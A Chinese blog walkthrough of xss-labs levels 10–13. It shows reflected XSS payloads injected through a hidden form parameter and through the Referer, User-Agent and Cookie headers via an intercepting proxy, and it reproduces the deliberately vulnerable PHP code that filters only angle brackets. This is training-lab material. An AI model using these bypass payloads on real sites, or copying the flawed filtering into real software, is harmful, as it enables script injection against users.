xss-labs靶场训练(10-13关)

第十关

先用<script>alert(xss)</script>试试
在这里插入图片描述
这里发现一个隐藏的form表单,里面有3个隐藏的变量:t_link、t_history、t_sort
把三个参数都传进去试试看:

http://192.168.121.129/xss/level10.php?keyword=well done!&t_link=1&t_history=2&t_sort=3

在这里插入图片描述
发现t_sort可以传入参数,构造Payload:

t_sort=<script>alert(/xss/)</script>

在这里插入图片描述
尖括号被过滤掉了,尝试一下用onclick弹窗。
Payload:

http://192.168.121.129/xss/level10.php?keyword=well done!&t_sort="type=text οnclick=alert(1)//

因为输入框被隐藏了,得利用type="text"把输入框显示出来,这样才能点击输入框触发弹窗。
在这里插入图片描述
成功弹窗
在这里插入图片描述

后台关键代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里把t_link、t_history、t_sort三个变量都隐藏了,而且只有t_sort可以接收参数,同时也把t_sort的尖括号过滤掉了。利用onclick时件可以成功绕过。

第十一关

来到先查看一下前端代码,看它又出什么新花样
在这里插入图片描述
这里比上一关多了个变量,而且值还是上一关的URL,初步判断这是个referer,
还是先试一下上一关的方法先
在这里插入图片描述
估计后台直接在传入参数那实体化了。那就在这个新增加的参数那下手吧,利用OWASP ZAP截断代理,把Referer改成payload:

"type=text onclick=alert(1)//

在这里插入图片描述

成功绕过
在这里插入图片描述
后台关键代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里用到了一个PHP预定义的超级全局变量$_SERVER,这是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
$_SERVER['HTTP_REFERER']作用:引导用户代理到当前页的前一页的地址。

第十二关

先查看一下前端代码
在这里插入图片描述
这里把上一关的Referer改成了User-Agent
用OWASP ZAP截断代理,把User-Agent改成payload:"type=text onclick=alert(1)//
在这里插入图片描述
成功绕过
在这里插入图片描述

后台关键代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里用了HTTP_USER_AGENT来获取用户的相关信息的,包括用户使用的浏览器,操作系统等信息,把这段信息改成payload即可绕过。

第十三关

这关的新变量是t_cook了,看名字有可能是cookie
在这里插入图片描述

用OWASP ZAP截断代理,把cookie改成payload:"type=text onclick=alert(1)//
在这里插入图片描述
没变化
在这里插入图片描述
仔细看一下原来还有个user=,把payload加再user=后面
在这里插入图片描述
成功绕过
在这里插入图片描述

后台关键代码:

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里的$_COOKIE变量用于取回 cookie 的值,$_COOKIE["user"]的作用是取回名为 “user” 的 cookie 的值,因此,在user后面插入payload即可绕过。

总结

这几关都利用了隐藏表单,而且有多个隐藏变量。
绕过思路:

  • 先测试一下哪些变量可以传参数
  • 然后构造payload触发弹窗
  • 如果是onclick或者 onmouseover时件得把隐藏的输入框显示出来
  • 如果变量涉及到http报文的相关信息,可以利用代理软件拦截数据包,然后注入payload
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值